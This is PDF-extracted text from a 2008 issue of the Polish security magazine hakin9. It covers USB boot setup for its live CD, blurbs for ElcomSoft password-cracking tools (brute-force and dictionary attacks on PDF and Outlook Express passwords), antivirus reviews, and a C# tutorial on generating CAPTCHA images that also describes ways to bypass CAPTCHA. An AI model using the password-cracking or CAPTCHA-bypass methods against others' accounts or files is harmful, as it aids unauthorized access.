Rodzaj partycji musi zostać zmieniony
na FAT32 – wprowadź t i odpowiedz b na
pojawiające się pytanie.

Musimy teraz sprawić, żeby nowa

partycja była bootowalna. Wpisz a, a
następnie wprowadź numer partycji
1. Teraz wpisz w w celu zapamiętania
zmian.

Pliki

Na początku utwórz na nowej partycji
system plików:

# mkfs.vfat /dev/sda1

Teraz zdefiniuj punkt montowania
tworzonego systemu plików:

# mount /dev/sda1 /mnt/usb

Skopiuj pliki hakin9 live do przygotowanej
lokalizacji:

# cp -a /mnt/cdrom/* /mnt/usb/

Niektóre struktury plików powinny zostać
usunięte:

# cd /mnt/usb/

# rm boot/vmlinuz

# rm boot/initrd.gz

W /mnt/usb powinien znajdować się

plik syslinux.cfg.

Po tej operacji wykonaj następujące

polecenia:

# umount /dev/usb/
# syslinux /dev/sda1

W przypadku problemów wydaj
polecenie:

# syslinux-nomtools /dev/sda1

Zrestartuj teraz maszynę i w BIOSie
ustaw bootowanie z USB–HDD

Gotowe, utworzyłeś w pełni

funkcjonalny system na swoim pendrivie.
Pamiętaj, że bootowanie z USB jest
obsługiwane jedynie przez nowe płyty
główne. Obecnie cała operacja jest
możliwa tylko z pendrive'ami, które
posiadają sektory o rozmiarze 512
bajtów.

ADVANCED OUTLOOK EXPRESS

PASSWORD RECOVERY

Advanced Outlook Express Password
Recovery (AOEPR) – program do
odtwarzania zapomnianych haseł do
skrzynek pocztowych, news–serwerów
i zapisów Identities w Microsoft Outlook

background image

10

NA CD

HAKIN9 6/2008

11

HAKIN9.LIVE

HAKIN9

6/2008

Express. Hasła odtwarzane są tylko w
przypadku, gdy zostały one w Outlook
Express (była włączona opcja Zachować
hasło). Wszystkie hasła odtwarzane
są natychmiast, przez bezpośrednie
dekodowanie. Program ma prosty intuicyjny
interfejs i współdziała ze wszystkimi
wersjami Outlook Express.

ADVANCED PDF PASSWORD

RECOVERY

Szybkie i sprawne odzyskiwanie
dostępu do chronionych hasłem
plików PDF! Chroniony plik PDF
można również odblokować usuwając
ograniczenia drukowania, edytowania
czy kopiowania! Program Advanced
PDF Password Recovery odzyskuje i
natychmiast usuwa hasła chroniące lub
blokujące dokumenty PDF utworzone w
jakiejkolwiek wersji Adobe Acrobat lub w
innych aplikacjach PDF.
Właściwości i korzyści:

• Obsługa wszystkich wersji Adobe

Acrobat

• Obsługa wszelkich programów

tworzących pliki w formacie PDF
innych dostawców

• Odblokowuje ograniczenia

drukowania, kopiowania i edycji
dokumentów PDF

• Usuwa hasła właściciela i

użytkownika

• Odzyskuje hasła potrzebne do

otwarcia

• Praca z szyfrowaniem 40–bitowym,

128–bit RC4, jak również z
szyfrowaniem AES

• Opatentowana technologia Thunder

Tables™ odzyskuje 40–bitowe hasła
w kilka minut

• Ataki słownikowe i ataki brute–force

(na zasadzie pełnego przeglądu) z
maskami i szablonami użytkownika

• Istnieją trzy wersje w celu

usatysfakcjonowania najbardziej
wymagających i zaawansowanych
klientów

• Opcja usuwania kodu Jscript, pól

formularzy i podpisów cyfrowych

• Tryb wsadowy pozwala na

automatyczne przetwarzanie wielu
plików

• Wysoko zoptymalizowany kod

niskiego poziomu do wielojądrowych
jednostek centralnych

Natychmiastowy dostęp do
plików PDF z ograniczeniami

Usuwanie denerwujących ograniczeń
plików PDF! Advanced PDF Password
Recovery natychmiast odblokowuje
dokumenty PDF z ograniczonymi
funkcjami drukowania, edytowania czy
kopiowania danych do schowka. Jest to
jak na razie najpopularniejszy sposób
chronienia plików PDF. Jeżeli można
otworzyć dokument bez hasła, ale nie
da się go wydrukować, jakość druku jest
niska, nie można skopiować danych do
schowka albo dokonać edycji dokumentu,
po co zwlekać, wystarczy zakupić

Advanced PDF Password Recovery
Standard edition!

Hasła do odczytania

Co zrobić, kiedy nie da się otworzyć
dokumentu PDF nie znając hasła?
W takim przypadku, będą Państwo
potrzebować funkcji odzyskiwania hasła
programu Advanced PDF Password
Recovery w wersji Professional oraz
Enterprise.

Pliki formatu PDF posiadają dwa

typy ochrony: słabe 40–bitowe i silne
128–bitowe szyfrowanie. Advanced
PDF Password Recovery gwarantuje
odzyskiwanie 40–bitowych kluczy, atakując
kod klucza zamiast próbować odgadnąć
hasło. Podczas gdy wersja Professional
odzyskuje dokument PDF chroniony przez
40–bitowy klucz w przeciągu kilku dni,
wersja Enterprise odblokowuje zakodowany
plik PDF zaledwie w kilka minut!

Technologia Thunder Tables™
(zgłoszona do opatentowania)

Unikalna technologia Thunder Tables™
opracowana przez ElcomSoft wykorzystuje
wcześniej wyliczone tablice, aby znacznie
przyspieszyć odzyskiwanie 40–bitowych
kluczy. Technologia ta jest dostępna w
wersji Enterprise i odblokowuje chronione
dokumenty w zaledwie kilka minut, a nie dni.

Odzyskiwanie silnych haseł

Jeżeli dokument PDF jest chroniony
silnym kluczem 128–bitowym, Advanced
PDF Password Recovery wykonuje serię
ataków na dokument PDF w celu uzyskania
oryginalnego hasła. Jednak nawet wtedy
nie pozostają Państwo bez wyjścia!

Atak słownikowy

Ludzie tworzą większość haseł na
podstawie słowa lub frazy. Wykonanie
pomyślnego ataku słownikowego przy
użyciu różnych kombinacji przypadków
oraz wariantów słów i znaków, zanim
skorzystamy z wyczerpującego ataku
brute–force, pozwala na znaczną
oszczędność czasu.

Atak typu brute–force

Jeżeli hasło nie istnieje w żadnym ze
słowników, Advanced PDF Password
Recovery sprawdza wszelkie możliwe
kombinacje haseł przeprowadzając atak

Rysunek 1.

Advanced Outlook Express Password Recovery

background image

12

NA CD

HAKIN9 6/2008

brute–force. Wysoko zoptymalizowany
kod niskiego poziomu zapewnia
najlepsze przeprowadzenie, w swojej
klasie, odzyskiwanie hasła metodą
brute–force. Optymalizacja wielowątkowa
zapewnia optymalne wykonanie
we współczesnych wielojądrowych
jednostkach centralnych.

Informacje dodatkowe

Komputery Mac i wirtualne komputery PC:
Advanced PDF Password Recovery nie
działa na wirtualnym komputerze PC oraz
Mac jako na komputerze centralnym.

DRM i wtyczki zabezpieczające innych

dostawców: Advanced PDF Password
Recovery nie obsługuje plików PDF
chronionych przy użyciu technologii
Digital Rights Management (DRM) ani
innych wtyczek zabezpieczających innych
dostawców, takich jak FileOpen (FOPN_
fLock).

Nowa wersja technologii Thunder

Tables™4.0 dostępna w wersji Enterprise
gwarantuje odzyskanie 40–bitowych

plików PDF oraz pozwala na usuwanie
kodu JScript, pól formularzy i podpisów
cyfrowych z plików PDF (dostępne w
wersjach Professional i Enterprise).

ELCOMSOFT DISTRIBUTED

PASSWORD RECOVERY

program do odzyskiwania zapomnianych
haseł do różnych typów dokumentów.
Możliwości programowe :
• odtwarzanie haseł przy pomocy

zintegrowanej mocy wszystkich
komputerów połączonych w sieci

• praca w lokalnych i globalnych sieciach

komputerowych

• zdalne administrowanie serwera do

wyboru haseł

• pozwala na instalację i deinstalację

agentów na odległość

• zmieniać czas pracy agentów i

priorytetu

• uruchamiać agentów i serwer jako

serwisy

• zbiór i analiza statystyk

HDDLIFE

HDDlife to program, który monitoruje
prace naszych dysków twardych pod
kątem ich sprawności i zużycia. Pozwala
ostrzec użytkownika o zbliżającym
się niebezpieczeństwie w postaci
uszkodzenia dysku. Program pokazuje
stan dysku w postaci graficznej, bądź
procentowej. Wszelkie zmiany są na
bieżąco przedstawiane użytkownikowi,
aby ten mógł podjąć odpowiednie
działania.

PARTITION MANAGER

Partition Manager rozbudowany pakiet
do zarządzania dyskiem twardym. Bez
problemu wykonamy obraz dysku bądź
zmienimy parametry dowolnej partycji
na dysku, zachowując przy tym zapisane
na nich pliki. W skład pakietu wchodzą:
BootManager, Partition Manager, Drive
Backup, Disk Wiper, Ext2FS Anywhere,
Encrypted Disk.

PODZIĘKOWANIA

Serdeczne podziekowania dla dystrybutora
Softkey Poland Sp. z o.o.
http://www.softkey.pl/ za udostepnienie
programów na płytę, która jest dołączona
do magazynu.

Żeby uruchomić swój komputer z płyty

hakin9.live, ustaw swój BIOS na

bootowanie z napędu CD-ROM. Po

dokonanych zmianach uruchom

ponownie komputer. Uruchomi się

dytrybucja hakin.live, na której możesz

przećwiczyć techniki prezentowane w

tutorialach. Upewnij się, ze sprawdziłeś

desktopowe foldery – zawierają wiele

dodatkowych materiałów. Zawartość CD

można również przejrzeć w systemie

Windows.

Rysunek 2.

HDDlife

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona

mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres:

cd@software.com.pl

background image

14

NARZĘDZIA

HAKIN9 6/2008

15

NARZĘDZIA

HAKIN9

6/2008

Oprogramowanie firmy Symantec
zawsze cieszyło się dużym
uznaniem wśród użytkowników

komputerów. Jednym z dostępnych pakietów
jest SystemWorksTM. W wersji podstawowej
(Basic Edition) w skład pakietu wchodzą: Norton
UtilitiesTM, Norton GoBackTM, One Button
Checkup oraz System Optimizer.

Instalacja oprogramowania nie sprawia

najmniejszego problemu nawet osobom z
minimalną wiedzą komputerową. Przed jej
rozpoczęciem należy się jednak upewnić, czy
dysponujemy odpowiednią ilością miejsca na
dysku twardym (Norton GoBackTM wymaga 10%
wolnego miejsca na dysku na historię – istnieje
możliwość ręcznego skonfigurowania w trakcie
instalacji). Poszczególne programy mogą być
uruchomione bezpośrednio z dysku CD bez
instalacji (Norton CleanUp, Norton Disk Doctor,
Norton WinDoctor).

Po pomyślnej instalacji dostajemy bogaty

zestaw narzędzi gotowych do optymalizacji
oraz naprawy naszego systemu. Mówiąc
najbardziej ogólnie, możemy podzielić pakiet
na Norton Cleanup oraz Norton Utilities.
Pierwszy zawiera aplikacje pozwalające na
szybkie usunięcie plików tymczasowych,
plików cookie, plików historii internetowej oraz
pamięci podręcznej. Druga grupa jest znacznie
liczniejsza i zawiera narzędzia diagnostyczno-
naprawcze:

Norton Disk Doctor – narzędzie służące do

diagnozowania oraz naprawiania problemów
dotyczących dysków twardych,

Norton System Doctor – monitor systemu,

reagujący natychmiast w przypadku wykrycia
problemu (zarówno powiadomieniem
użytkownika, jak i – w niektórych sytuacjach
– automatyczną naprawą). Aplikacja pozwala na
wybór aktywnych czujników nadzorujących m. in.
dyski twarde, procesor, pamięć i sieć,

Norton WinDoctor – bardzo przydatne

narzędzie, służące do rozwiązywania
najczęstszych problemów występujących w
systemach z rodziny Windows®,

Speed Disk – doskonałe narzędzie, w

pełni zastępujące systemowy defragmentator.
Regularne stosowanie pozwala na znaczne
przyspieszenie naszego komputera oraz
zmniejszenie liczby operacji wykonywanych
przez głowicę dysku,

UnErase Wizard – pozwala na odnalezienie

i odzyskanie plików chronionych przez pakiet
Norton Utilities.

Wspomniany wcześniej Norton GoBack

jest narzędziem służącym do szybkiego
przywrócenia systemu do wcześniejszego
stanu. Pozwala to na naprawę systemu w
przypadku groźnej infekcji przez wirusa,
usunięcie szkód wyrządzonych przez
niebezpieczne oprogramowanie lub po prostu
odzyskanie ważnych, utraconych danych.
Domyślnie w trakcie instalacji GoBack wymaga
10% wolnego miejsca na dysku, co stanowi
dość dużą wartość.

Całość pakietu jest nadzorowana przez

usługę LiveUpdate, która zapewnia uaktualnienia
dla wszystkich komponentów pakietu.

Firma Symantec po raz kolejny stworzyła

znakomity zestaw narzędzi zwiększających
bezpieczeństwo i niezawodność sytemu
operacyjnego. Pakiet SystemWorks został
wydany w 3 wersjach: Basic Edition, Standard
Edition oraz Premier Edition.

W wersji Standard Edition użytkownik

dodatkowo dostaje ochronę poczty
elektronicznej, zabezpieczenie przed
programami typu spyware oraz ochronę
plików ściąganych z Internetu (usuwanie
niebezpiecznych elementów). Premier Edition
zezwala na tworzenie kopii zapasowych
ważnych plików i całych dysków (Norton Ghost).

Pakiet SystemWorks stanowi niezawodne

narzędzie do ochrony systemu operacyjnego
oraz danych. Pozwala na zwiększenie
wydajności systemu. Proste i intuicyjne interfejsy
graficzne stanowią dodatkowy atut. Produkt
firmy Symantec jest idealnym rozwiązaniem
dla każdego użytkownika potrzebującego
kompleksowej ochrony komputera.

Producent

Symantec

System

MS Windows XP

Typ

Oprogramowanie
narzędziowe

Strona dystrybutora

www.softpoint.com.pl

Recenzent

Radosław Matusiak

Norton System Works

– Standard Edition

«««««

OCENA

background image

14

NARZĘDZIA

HAKIN9 6/2008

15

NARZĘDZIA

HAKIN9

6/2008

W dzisiejszych czasach zagrożenia
napływające z Internetu coraz
poważniej dają się nam we znaki.

Każdego dnia, wirusy, konie trojańskie czy inne
robaki powodują utratę danych bądź – co
gorsza – uszkodzenie danego podzespołu
przez precyzyjny atak hakerski. Zapewne w tym
momencie powiesz, że to bzdura, przecież nic się
nie dzieje, jestem wolny i bezpieczny. Ignorowanie
poważnego niebezpieczeństwa, z którym mamy
styczność na co dzień, to największy błąd,
ponieważ zagrożenie jest w pewnym sensie ukryte.
Na pewno słyszałeś nie raz, że lepiej zapobiegać,
niż leczyć – i tu z pomocą przychodzi nam firma
ESET ze swoim najnowszym produktem – ESET
Smart Security, który dziś z miłą chęcią będę
testował. Jest to kompleksowy zestaw do ochrony
naszego komputera, połączenie nowoczesnej
technologii ze skutecznością i niezawodnością.
W skład pakietu ESET Smart Security wchodzą
następujące elementy: ochrona antywirusowa,
antyspyware, filtr antyspamowy i zapora osobista.

Gdy otrzymałem paczkę z oprogramowaniem,

nie mogłem się doczekać na sprawdzenie, jakie
możliwości ono oferuje. Nasuwało się wiele pytań
– czy program spełni moje oczekiwania, czy nie
będzie zużywał zbyt wielu zasobów komputera,
a także czy nie przytłoczy mnie zaawansowaną
konfiguracją? Instalacja przebiega błyskawicznie
i intuicyjnie – potem już tylko restart komputera
i możemy się cieszyć działaniem pakietu. Po
uruchomieniu ów programu ujrzymy estetyczne
menu. Dużym jego plusem jest polska wersja
językowa, co ułatwia konfigurację oraz użytkowanie.
Interfejs, w zależności od naszego wyboru, może
pracować w dwóch trybach: zaawansowanym
i standardowym. W trybie zaawansowanym, w
porównaniu do trybu standardowego, do menu
zostało dodanych kilka opcji.

Od razu po instalacji warto dostosować

program do własnych potrzeb. Na początek
przyjrzyjmy się możliwościom związanym ze
skanowaniem komputera. Do dyspozycji mamy
dwie opcje: skanowanie standardowe, powodujące
automatyczne sprawdzenie całego komputera,

lub niestandardowe – gdzie wybieramy, które dyski
chcemy przeskanować. W opcjach skanowania
możemy zdefiniować, jakie obiekty chcemy
skanować, jakimi metodami, a także określić poziom
leczenia plików. Warto dodać, że program skanuje
nie tylko nasze dyski lokalne, ale także pamięć
operacyjną i wymienne nośniki danych. ESET Smart
Security posiada wbudowane moduły inteligentnego
wykrywania zagrożeń, przez co jego skuteczność jest
większa niż konkurencji.

Wielotrybowość aplikacji objawia się także przy

użytkowaniu zapory osobistej, która może pracować
w dwóch trybach (LAN oraz ogólnodostępowa).
Mamy także możliwość wyboru rodzaju filtrowania
połączenia. W menu zapory znajduje się lista
aplikacji, które w danym momencie korzystają
z Internetu. Program umożliwia zablokowanie
konkretnej aplikacji dostępu do Internetu w dowolnej
chwili, lecz dostrzegam tutaj pewną wadę – a
mianowicie skromny zakres konfiguracji zapory
– także jej funkcjonalność jest ograniczona w
porównaniu do firewalli innych producentów.

Program od chwili zainstalowania na

komputerze pobiera najnowsze bazy sygnatur
wirusów oraz aktualizacje samej aplikacji. Uważam
to za ogromną zaletę i byłem mile zaskoczony
taką wielofunkcyjnością i nowoczesnością
oprogramowania. Brawo!

Przechodzimy do zakładki Narzędzia, która

udostępnia nam listę ostatnich zablokowanych
ataków, plik logów, kwarantannę (i wszystkie zawarte
w niej pliki) czy też harmonogram zadań – gdzie
możemy zaplanować sobie (a w zasadzie aplikacji)
konkretną czynność do wykonania. Bardzo ważnym
aspektem jest udostępnienie możliwości przesłania
podejrzanych plików do analizy pod kątem wykrycia
niebezpieczeństwa. Program ma rozbudowany
system pomocy, gdzie nie tylko znajdziemy
odpowiedzi na najczęściej zadawane pytania, ale też
informacje o rodzajach zagrożeń.

Aplikacja łączy w sobie cechy nowoczesnego

oprogramowania zabezpieczającego, jest prosta
w instalacji, konfiguracja nie przerasta domowych
użytkowników, a intuicyjna obsługa pakietu pozwoli
nawet najmłodszym użytkownikom dbać o

Producent

Eset

System

Windows 2000, XP, 2003 i
Windows Vista

Typ

Pakiet bezpieczeństwa

Strona dystrybutora

www.dagma.com.pl

Recenzent

Patryk Elżanowski

ESET Smart Security

«««««

OCENA

background image

16

POCZĄTKI

HAKIN9 6/2008

P

odczas wypełniania różnorodnych formularzy
na stronach WWW bardzo często musimy
udowodnić, że nie jesteśmy botami. Zwykle

służą do tego specjalnie spreparowane obrazki, z
których przeciętny człowiek powinien bez problemu
odczytać nieco zniekształcony tekst (Rysunek 1).

Taki rodzaj zabezpieczeń przydaje się

szczególnie przy różnego rodzaju rejestracjach,
np. darmowych kont e-mail, lub wypowiedziach
na forach internetowych. Chroni on przed
automatycznym tworzeniem kont przez automaty
(np. roboty spamerskie). Technika ta nosi nazwę
CAPTCHA, co jest skrótem angielskiego określenia
Completely Automated Public Turing Test to Tell
Computers and Humans Apart
. Luis von Ahn,
Manuel Blum, Nicholas Hopper i John Langford z
Carnegie Mellon University stworzyli ją na potrzeby
Yahoo. Chcieli w ten sposób ukrócić automatyczne
tworzenie spamerskich kont e-mail na tym portalu.
Na początku CAPTCHA sprawdzała się wyśmienicie.
Jednak – jak to w przyrodzie bywa – każdej akcji
towarzyszy reakcja. Opracowanych zostało kilka
typów ataków, które w mniejszym bądź większym
stopniu umożliwiały obejście tego zabezpieczenia.
Najprostszy atak polega na zatrudnieniu
podstawionych osób, które zakładały konta e-mail
chronione przez system CAPTCHA. W końcu osoby te
były w stanie odczytać zniekształcony tekst. Problem
w tym, że nikt nie będzie chciał robić czegoś takiego
za darmo – należy za to zapłacić, co może okazać
się mało opłacalne dla spamera. Drugi problem to
niska efektywność rozwiązania. Inne, dosyć ciekawe

SŁAWOMIR ORŁOWSKI

Z ARTYKUŁU

DOWIESZ SIĘ

co to jest test CAPTCHA,

jakie są wady i zalety tego

rozwiązania,

jak z poziomu kodu C#

wygenerować obrazek

CAPTCHA,

o klasach platformy .NET

obsługujących grafikę 2D.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawy języka C#

i technologii ASP.NET.

rozwiązanie polega na użyciu podstawionych stron
– najlepiej pornograficznych. Jeśli użytkownik takiego
serwisu WWW zechce obejrzeć jakąś jego część
(zdjęcie), musi wpisać kod z obrazka. Wystarczy, że
obrazek zabezpieczający do takiej strony zostanie
wklejony z formularza znajdującego się na stronie,
którą chcemy zaatakować. Nieświadomy użytkownik
sam rozwiąże za nas zagadkę. Jest to kolejny rodzaj
ataku, w którym wykorzystujemy człowieka. Sprytne,
bardziej efektywne, tańsze – ale czy wystarczająco
skuteczne? Ludzie odpowiedzialni za projekt
CAPTCHA twierdzą, że nie. Spamerzy twierdzą
oczywiście, że tak. Jednak proszę sobie wyobrazić
serwis WWW, w którym za każdym razem, kiedy
chcemy zobaczyć coś nowego, musimy wpisywać
jakiś kod. Wątpię, żeby taka strona przyciągała
wielu użytkowników. Lepszym rozwiązaniem są
programy OCR (ang. Optical Character Recognition),
które za pomocą pewnych algorytmów potrafią
odczytać tekst z obrazka. Oczywiście standardowe
aplikacje OCR nie poradzą sobie z przeciętnym
obrazkiem CAPTCHA. Potrzebne są narzędzia
bardziej wyspecjalizowane, stworzone specjalnie na
potrzeby łamania akurat tego typu zabezpieczeń.
Jednym z takich projektów jest program PWNtcha
(ang. Pretend We’re Not a Turing Computer but a
Human Antagonist
). Potrafi on prawdopodobnie
zdekodować tekst pochodzący ze stosunkowo
mało skomplikowanych obrazów. Nie należy jednak
oczekiwać, że poradzi sobie z każdym obrazkiem.
Aby w miarę dobrze działał, należy go dostroić do
konkretnego problemu. Napisałem prawdopodobnie,

Stopień trudności

Test CAPTCHA

Jak odróżnić człowieka od automatu w Internecie? Istnieje prosty

test, który może to sprawdzić. Wystarczy wygenerować obrazek

ze zniekształconym tekstem i kazać użytkownikowi go odczytać.

background image

17

TEST CAPTCHA

HAKIN9

6/2008

ponieważ autor PWNtcha nie udostępnia
tego programu do testów. Jest to dosyć
logiczne, ponieważ narzędzie mogłoby być
użyte przez spamerów. Innym projektem jest
aiCAPTCHA. Używa on algorytmów sztucznej
inteligencji. Nie sądzę jednak, że zostanie
stworzony program, który będzie sobie radził
ze wszystkimi rodzajami obrazków CAPTCHA.
Ostatnio na świecie pojawiło się coraz więcej
przeciwników tego zabezpieczenia. Osoby
niedowidzące mają poważne problemy przy
odczytaniu tekstu. Obrazki te są również
coraz trudniejsze do odczytania przez
dobrze widzące osoby. Taki system wymaga
również od użytkownika pewnej fatygi, a to
może skutecznie zniechęcić użytkowników.
Przecież korzystanie z Internetu powinno być
lekkie, łatwe i przyjemne. Istnieje też sporo
innych, darmowych i komercyjnych rozwiązań
przeciwko botom, jednak test CAPTCHA
nadal jest – i pewnie jeszcze długo będzie
– wykorzystywany.

W tym artykule chciałbym zaproponować

stworzenie własnej klasy, która będzie miała
możliwość generowania obrazków CAPTCHA.
Klasa będzie napisana w języku C#, w
związku z tym będzie ją można używać w
projektach ASP.NET. Użyjemy standardu C#
2.0 i .NET 2.0. Program napisany będzie przy
użyciu Visual C# 2008 Express Edition. Niech

klasa nosi nazwę Captcha i będzie częścią
przestrzeni nazw Hakin9. Na początku
zadeklarujemy pola i konstruktory klasy
(Listing 1.).

Pola

width

i

height

będą

przechowywały odpowiednio szerokość
i wysokość obrazka. Pole

fontSize

odpowiada za wielkość czcionki. Pole

text

zawierać będzie tekst, jaki ma

być umieszczony na obrazku. Pole

random

będzie pomocne przy generacji

liczb pseudolosowych, potrzebnych
do losowego dodawania pewnych
elementów utrudniających programom
OCR odczytanie tekstu. Pora teraz napisać
główną metodę klasy, która będzie
generowała obrazek (Listing 2.).

Metoda ta zwracać będzie obiekt

typu

Bitmap

, czyli mapę bitową. Ponieważ

w definicji klasy zadeklarowaliśmy trzy
konstruktory, na początku metody

Generate

musimy sprawdzić, czy wszystkie wymagane

pola są wypełnione danymi. Jeśli nie,
generowany jest wyjątek. Dalej deklarujemy
egzemplarz klasy

Bitmap

, który zawierać

będzie obrazek. Na jego podstawie budujemy
obiekt klasy

Graphics

, który umożliwi nam

rysowanie. Pole, które będziemy wypełniać
grafiką, definiujemy za pomocą klasy

Rectangle

.

Płótno, na którym będziemy malować,

jest już przygotowane – pora teraz na pędzel.
Użyjemy do tego klasy

HatchBrush

. W

konstruktorze tej klasy przekazujemy styl, kolor
rysowania i kolor podkładu. Zbiór styli zawiera
typ wyliczeniowy

HatchStyle

– mamy

do wyboru aż 56 rodzajów wypełnienia.
Teraz za pomocą referencji

g

wypełniamy

całość obrazka używając do tego metody

FillRectangle

. W tym przypadku wybrany

został styl

SmallConfetti

, ale nic nie stoi

na przeszkodzie, aby Czytelnik przeciążył
metodę

Generate

z argumentem wywołania,

który umożliwi własny wybór stylu. Jest to

Rysunek 2.

Przykładowe użycie klasy

Captcha

Listing 1.

Pola i konstruktory klasy Captcha

using

System

;

using

System

.

Text

;

using

System

.

Drawing

;

using

System

.

Drawing

.

Imaging

;

using

System

.

Drawing

.

Drawing2D

;

namespace

Rysunki

{

public

class

RPicture

{

private

int

width

;

private

int

height

;

private

int

fontSize

;

private

string

text

;

private

Random

random

;



public

RPicture

()

{

random

=

new

Random

();

}

public

RPicture

(

int

_width

,

int

_height

,

int

_fontSize

)

{

random

=

new

Random

();

width

=

_width

;

height

=

_height

;

fontSize

=

_fontSize

;

}

public

RPicture

(

int

_width

,

int

_height

,

int

_fontSize

,

string

_text

)

{

random

=

new

Random

();

width

=

_width

;

height

=

_height

;

fontSize

=

_fontSize

;

text

=

_text

;

}

}

Rysunek 1.

Przykładowe obrazki

zabezpieczające

background image

18

POCZATKI

HAKIN9 6/2008

TEST CAPTCHA

19

HAKIN9

6/2008

bardzo proste ćwiczenie, które może wykonać
Czytelnik samodzielnie.

W kolejnym kroku przygotowujemy napis,

który zostanie umieszczony na obrazku. Klasa

StringFormat

przechowuje informacje

dotyczące formatowania napisu. Z kolei
egzemplarz klasy

GraphicsPath

posłuży

nam do umieszczenia tekstu na obrazku.
Jest to bardzo ciekawa klasa, niezwykle
użyteczna przy tworzeniu fragmentów
aplikacji, które obsługują obiekty graficzne.
Za jej pomocą możemy rysować różnorodne
kształty, wypełniać wnętrza figur itd. Kształty,
w tym również tekst, to skończona sekwencja
połączonych ze sobą linii i łuków. Metodą

AddString

dodajemy napis do obiektu

path

. Jej trzeci argument odpowiada za

styl czcionki. Można wybierać pomiędzy
kursywą, pogrubieniem, przekreśleniem i
podkreśleniem. Jak widać na Listingu 2., style
można ze sobą łączyć. Myślę, że pozostałe
argumenty wywołania nie wymagają opisu.

Dla tekstu tworzymy jeszcze nowy

pędzel. Wybrany został na stałe styl

LargeConfetti

– tak, jak w poprzednim

przypadku można przeciążyć metodę

Generate

, aby przyjmowała jako argument

również ten styl. Tekst powinien być
nieznacznie zaburzony. Posłuży do tego
metoda

Warp

klasy

GraphicsPath

. Jedna

z jej wersji przyjmuje cztery argumenty.
Pierwszym z nich są punkty definiujące
czworościan, który będzie zawierał
zmieniony obrazek. Drugi argument
to obrazek źródłowy, trzeci to macierz
przekształcenia – użyta została macierz
zerowa. Ostatnim argumentem jest typ
wyliczeniowy zawierający dwa sposoby
przekształcania:

Bilinear

i

Perspective

.

Proponuję samemu poeksperymentować
z możliwymi transformacjami. Tutaj zostało
użyte dosyć proste przekształcenie z
elementami losowości.

Po tych czynnościach pozostaje nam

tylko wyświetlić przygotowany tekst za
pomocą metody

FillPath

. Do narysowania

tekstu celowo użyty został nieregularny styl
pędzla oraz zaburzenie tekstu. Utrudni to
programom próbującym zdekodować tekst
odnalezienie liter. W kolejnych dwóch pętlach
dodajemy do obrazka losowe zakłócenia. Jest
to konieczne, ponieważ obrazek generowany

zawsze w ten sam sposób byłby łatwy do
oczytania przez programy, które wystarczyłoby
odpowiednio dostosować. Pierwsza pętla
dodaje wypełnione elipsy umieszczone
w przypadkowych miejscach (metoda

FillEllipse

). Za sprawą odpowiednio

dobranych współczynników elipsy pojawią
się na obrazku jako kropki, które nie będą
utrudniały człowiekowi odczytania tekstu z

Listing 2.

Metoda generująca obrazek CAPTCHA

public

Bitmap

Generate

()

{

if

(

width

==

0

||

height

==

0

||

text

==

null

)

throw

new

NullReferenceException

(

"Please select width, height and text

for image"

);

Bitmap

picture

=

new

Bitmap

(

width

,

height

,

PixelFormat

.

Format32bppArgb

);

Graphics

g

=

Graphics

.

FromImage

(

picture

);

g

.

SmoothingMode

=

SmoothingMode

.

AntiAlias

;

Rectangle

r

=

new

Rectangle

(

0

,

0

,

width

,

height

);


HatchBrush

brush

=

new

HatchBrush

(

HatchStyle

.

SmallConfetti

,

Color

.

LightGray

,

Color

.

White

);

g

.

FillRectangle

(

brush

,

r

);

StringFormat

format

=

new

StringFormat

();

format

.

Alignment

=

StringAlignment

.

Center

;

format

.

LineAlignment

=

StringAlignment

.

Center

;

GraphicsPath

path

=

new

GraphicsPath

();

path

.

AddString

(

text

,

FontFamily

.

GenericSerif

,

(

int

)

FontStyle

.

Bold

+

(

int

)

FontStyle

.

Italic

,

fontSize

,

r

,

format

);

brush

=

new

HatchBrush

(

HatchStyle

.

LargeConfetti

,

Color

.

LightGray

,

Color

.

DarkGray

);


float

r1

=

random

.

Next

(

width

/

8

);

float

r2

=

random

.

Next

(

height

/

4

);

PointF

p1

=

new

PointF

(

0

,

0

);

PointF

p2

=

new

PointF

(

width

,

r2

);

PointF

p3

=

new

PointF

(

r1

,

height

);

PointF

p4

=

new

PointF

(

width

,

height

-

r2

);

PointF

[]

points

=

{

p1

,

p2

,

p3

,

p4

}

;

Matrix

m

=

new

Matrix

();

path

.

Warp

(

points

,

r

,

m

,

WarpMode

.

Perspective

);

g

.

FillPath

(

brush

,

path

);

for

(

int

i

=

0

;

i

<

width

/

3

;

i

++)

g

.

FillEllipse

(

brush

,

new

Rectangle

(

random

.

Next

(

0

,

width

)

,

random

.

Next

(

0

,

height

)

,

random

.

Next

(

1

,

width

/

20

)

,

random

.

Next

(

1

,

width

/

20

)));

for

(

int

i

=

0

;

i

<

width

/

22

;

i

++)

g

.

DrawEllipse

(

new

Pen

(

brush

)

,

(

float

)

random

.

Next

(

0

,

width

)

,

(

float

)

random

.

Next

(

0

,

height

)

,

(

float

)

random

.

Next

(

0

,

width

)

,

(

float

)

random

.

Next

(

0

,

height

));


return

picture

;

}

Listing 3.

Strona obrazek.aspx, generująca testowy obrazek

protected

void

Page_Load

(

object

sender

,

EventArgs

e

)

{

string

tekst

=

"Hakin9"

;

Captcha

image

=

new

Captcha

(

150

,

50

,

38

,

tekst

);

image

.

Generate

()

.

Save

(

Response

.

OutputStream

,

System

.

Drawing

.

Imaging

.

ImageForm

at

.

Jpeg

);

Session

.

Add

(

"tekst"

,

tekst

);

}

Rysunek 3

. Wynik skanowania obrazka

CAPTCHA przy pomocy FineReader

background image

18

POCZATKI

HAKIN9 6/2008

TEST CAPTCHA

19

HAKIN9

6/2008

obrazka. Dobrym pomysłem jest również
umieszczenie pewnych nieregularnych
linii, które nachodzą na napis. Jest to duże
utrudnienie dla botów, oczywiście pod
warunkiem, że linie są rysowane losowo. To
zabezpieczenie realizowane jest w drugiej
pętli, która rysuje losowe elipsy z odpowiednio
dobranymi współczynnikami. Na końcu
metody zwracany jest cały obrazek. I to
wszystko. Klasa do generowania obrazków
CAPTCHA jest już gotowa. Oczywiście można
do niej wprowadzić szereg modyfikacji.
Najlepiej umieścić ją w projekcie aplikacji
Windows, gdzie z łatwością możemy ją
przetestować.

Kolejne zadanie to stworzenie testowego

serwisu WWW, w którym klasa Captcha
zostanie użyta praktycznie. Umieszczamy ją w
projekcie strony ASP.NET. Przypomnę tylko, ze
